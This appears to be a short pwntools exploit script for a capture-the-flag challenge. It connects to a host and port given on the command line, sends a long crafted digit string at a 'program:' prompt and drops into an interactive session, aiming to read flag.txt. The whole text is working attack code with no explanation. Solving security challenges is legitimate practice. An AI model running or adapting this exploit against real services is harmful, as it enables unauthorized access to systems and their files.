text: from pwn import *
  
  s = remote(sys.argv[1], int(sys.argv[2]))
  s.sendlineafter("program:", "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666666666666666666666666666666666666666666666066660777777777777")
  print("cat flag.txt>&2")
  s.interactive()
  